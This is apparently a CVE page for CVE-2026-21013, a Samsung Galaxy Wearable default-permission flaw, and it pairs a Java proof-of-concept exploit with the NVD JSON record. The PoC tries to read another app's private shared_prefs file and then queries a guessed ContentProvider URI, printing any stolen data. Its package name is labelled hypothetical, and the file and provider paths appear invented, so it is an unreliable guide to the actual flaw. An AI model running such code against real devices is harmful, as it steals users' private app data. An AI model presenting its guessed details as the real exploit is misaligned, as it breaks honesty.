CVE-2026-21013

// PoC Concept: Attempting to read sensitive data via open permissions import android.content.Context; import android.database.Cursor; import android.net.Uri; import java.io.BufferedReader; import java.io.File; import java.io.FileReader; import java.io.IOException; public class Exploit { // Hypothetical package name for Galaxy Wearable private static final String TARGET_PACKAGE = "com.samsung.android.gearoplugin"; public void exploit(Context context) { // Method 1: Try reading private files if permissions are misconfigured try { File sensitiveFile = new File("/data/data/" + TARGET_PACKAGE + "/shared_prefs/user_info.xml"); BufferedReader reader = new BufferedReader(new FileReader(sensitiveFile)); String line; StringBuilder content = new StringBuilder(); while ((line = reader.readLine()) != null) { content.append(line); } reader.close(); System.out.println("[+] Sensitive data leaked: " + content.toString()); } catch (IOException e) { // Method 2: Try querying ContentProvider if exported try { Uri uri = Uri.parse("content://" + TARGET_PACKAGE + ".provider/sensitive_data"); Cursor cursor = context.getContentResolver().query(uri, null, null, null, null); if (cursor != null && cursor.moveToFirst()) { System.out.println("[+] Data leaked via Provider: " + cursor.getString(0)); cursor.close(); } } catch (Exception ex) { System.out.println("[-] Exploit failed or path is incorrect."); } } } }

{"cve": {"id": "CVE-2026-21013", "sourceIdentifier": "[email protected]", "published": "2026-04-13T06:16:06.010", "lastModified": "2026-04-16T17:24:33.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect default permission in Galaxy Wearable prior to version 2.2.68.26 allows local attackers to access sensitive information."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-276"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:galaxy_wearable:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.68.26", "matchCriteriaId": "7E41792C-59D8-454B-BC10-FD62F25EBEA6"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2026&month=04", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}